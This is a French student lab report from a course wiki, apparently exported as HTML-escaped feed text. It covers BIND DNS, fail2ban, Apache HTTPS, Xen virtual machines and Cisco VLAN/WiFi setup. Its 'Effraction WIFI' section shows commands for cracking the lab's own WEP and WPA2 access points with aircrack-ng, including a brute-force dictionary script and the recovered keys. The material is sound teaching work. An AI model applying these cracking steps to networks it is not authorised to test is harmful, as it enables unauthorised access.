&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12258</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12258"/>
		<updated>2026-02-12T15:09:00Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Sur capbreton ===&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine de service ===&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/network/interfaces&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24&lt;br /&gt;
    gateway 192.168.69.1&lt;br /&gt;
    &lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
